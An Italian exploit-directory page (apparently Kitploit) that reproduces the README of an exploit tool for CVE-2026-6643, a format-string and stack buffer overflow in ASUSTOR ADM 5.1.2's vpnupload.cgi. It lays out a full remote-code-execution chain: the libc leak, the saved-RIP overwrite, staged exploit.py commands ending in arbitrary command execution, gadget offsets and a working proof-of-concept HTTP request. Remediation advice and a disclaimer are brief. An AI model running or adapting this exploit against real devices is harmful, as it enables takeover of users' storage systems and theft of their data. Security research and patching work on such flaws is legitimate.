Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-6643 — ASUSTOR ADM 5.1.2 vpnupload.cgi Format String e Stack Buffer Overflow RCE (CVE-2026-6643) | Kitploit
Strumenti/GitHubGitHub/mlgzackfly/cve-2026-6643
Analisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebPenetration TestingSviluppo PayloadBinary Exploitation
GitHubmlgzackfly/cve-2026-6643

CVE-2026-6643

ASUSTOR ADM 5.1.2 vpnupload.cgi Format String e Stack Buffer Overflow RCE (CVE-2026-6643)

Vedi Repository
115 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-6643 — RCE su ASUSTOR ADM 5.1.2

Format String (CWE-134) + Stack Buffer Overflow (CWE-121) in vpnupload.cgi

Riepilogo della vulnerabilità

CampoValore
ProdottoASUSTOR ADM (ASUSTOR Data Master)
Versione interessataADM 5.1.2.REO1 (X64_G3, 2026-02-25)
Componente/portal/apis/settings/vpnupload.cgi — azione upload_wireguard
Tipo di vulnerabilitàCWE-134 Format String / CWE-121 Stack Buffer Overflow
GravitàAlta
Autenticazione richiestaSì (cookie Revive_Session valido)
Data di scoperta2026-03-14

Dettagli della vulnerabilità

Vulnerabilità A — Format String (CWE-134)

L'handler upload_wireguard analizza un file di configurazione WireGuard, assembla i campi in un oggetto JSON, quindi passa il risultato direttamente come argomento format string a printf():

pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2);    // user-controlled format string

Un attaccante può incorporare specificatori di formato printf in qualsiasi campo della configurazione WireGuard:

  • %x / %p — lettura della memoria dello stack (information leak)
  • %n — scrittura in memoria arbitraria (esecuzione di codice tramite sovrascrittura del GOT)

Vulnerabilità B — Stack Buffer Overflow (CWE-121)

Lo stesso handler usa sscanf("%s") senza limiti per copiare i valori di configurazione in buffer di stack da 300 byte, mentre fgets accetta fino a 32.768 byte per riga:

__isoc23_sscanf(__s, "PrivateKey = %s",           local_ac4);   // 300B
__isoc23_sscanf(__s, "Endpoint = %s",             local_164);   // 300B
// 8 fields total; only DNS has a length limit

Fornire più di 300 byte provoca un overflow nei buffer adiacenti. A 4.000 byte il RIP salvato viene corrotto, causando SIGSEGV.

Mitigazioni del binario

ProtezioneStatoImpatto
FORTIFY_SOURCEDisabilitataprintf (non __printf_chk) — la scrittura %n funziona
Stack CanaryDisabilitatoNessun leak del canary richiesto
PIEDisabilitatoGli indirizzi GOT e dei gadget sono statici
RELROParzialeIl GOT è scrivibile

Catena di sfruttamento

Step 1  Format string %x   →  Leak stack memory, recover libc base
Step 2  Endpoint overflow   →  Overwrite saved RIP with one-gadget / system()
Step 3  execve("/bin/sh")   →  Shell as the web server user

Perché Endpoint è il miglior bersaglio per l'overflow

local_164 (il buffer Endpoint) si trova a rbp-0x164, il più vicino degli otto buffer all'indirizzo di ritorno salvato:

Stack layout (Ghidra):
  local_ac4  PrivateKey           rbp-0xac4   300B
  local_998  Address              rbp-0x998   300B
  local_86c  PublicKey            rbp-0x86c   300B
  local_740  ListenPort           rbp-0x740   300B
  local_4e8  PresharedKey         rbp-0x4e8   300B
  local_3bc  AllowedIPs           rbp-0x3bc   300B
  local_290  PersistentKeepalive  rbp-0x290   300B
  local_164  Endpoint             rbp-0x164   300B  ← target
  saved RBP                       rbp+0x000
  saved RIP                       rbp+0x008   ← 0x164 + 8 = 364 bytes away

Bypass del byte nullo

sscanf("%s") interrompe la copia in corrispondenza di un byte nullo. Un indirizzo libc (0x7f...) in little-endian termina con due byte nulli. Tuttavia, i due byte superiori di qualsiasi RIP salvato contengono già 0x0000, quindi la scrittura avviene correttamente anche se sscanf termina prima:

one_gadget address 0x00007f1234567890 (little-endian):
  \x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
                                ^--- sscanf stops here
                                     but these bytes were already 0x00 → correct

Tutti i gadget ROP intermedi devono provenire anch'essi da libc (intervallo 0x7f...) per evitare byte nulli incorporati. Solo il valore finale della catena può terminare con byte nulli.

Requisiti

uv add requests

Utilizzo

Step 1 — Rilevare l'offset dell'argomento della format string

uv run exploit.py <host:port> '<cookie>' --stage offset

Output di esempio:

[*] Detecting format string argument offset...
[+] Offset: 8  (echo: AAAA.41414141...)

Step 2 — Leak della base di libc

uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8

Output di esempio:

[+] Stack dump (args 8..47):
    [  8]  0x0000000000000000
    [  9]  0x00007f8b2c3d4e5f  ← libc candidate
    ...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
    Subtract the known offset of whichever symbol this is:
    libc_base = 0x7f8b2c3d4e5f - <symbol_offset>

Identifica il simbolo e calcola la base di libc:

readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f

Step 3 — RCE

# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000

# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000

Step 4 — Eseguire comandi (dopo la sovrascrittura del GOT)

uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'

Ottenere gli offset di libc

Estrai libc.so.6 dall'immagine del firmware, quindi esegui:

# system() offset
readelf -s libc.so.6 | grep -w system

# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'

# one_gadget offsets
one_gadget libc.so.6    # gem install one_gadget

Aggiorna le costanti in exploit.py:

LIBC_SYSTEM      = 0x055410
LIBC_BINSH       = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]

Prova di concetto

Leak della Format String

POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND

--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"

dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"

[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--

Nota: Sono richieste due sezioni multipart. Il parser utilizza un contatore di boundary; il parsing sscanf si attiva solo nella seconda sezione.

Risposta (campo clientprivatekey):

AAAA_feebd19f_0000012b_0000007d_00000002

Stack Buffer Overflow (crash)

Imposta PrivateKey a 4.000 byte → SIGSEGV (codice di uscita 139).

Rimedio

VulnerabilitàCorrezione
Format StringSostituisci printf(pcVar2) con printf("%s", pcVar2) oppure fputs(pcVar2, stdout)
Buffer OverflowAggiungi limiti di lunghezza a tutte le format string di sscanf (es. %299s per buffer da 300 byte)

Ambiente di test

  • Firmware: X64_G3_5.1.2.REO1.img — vpnupload.cgi estratto dall'immagine
  • Piattaforma: Linux x86-64, utilizzando il ld-linux e le librerie condivise del firmware
  • Bypass dell'autenticazione: patch a singolo byte je → jmp all'offset 0x1224 (solo test locali)

Riferimenti

  • Articolo di ricerca: https://blog.mlgzackfly.tw/cve-2026-6643/

Disclaimer

Questo exploit è fornito esclusivamente per ricerca sulla sicurezza e test autorizzati. Non utilizzarlo contro sistemi senza esplicita autorizzazione.

Scarica lo strumento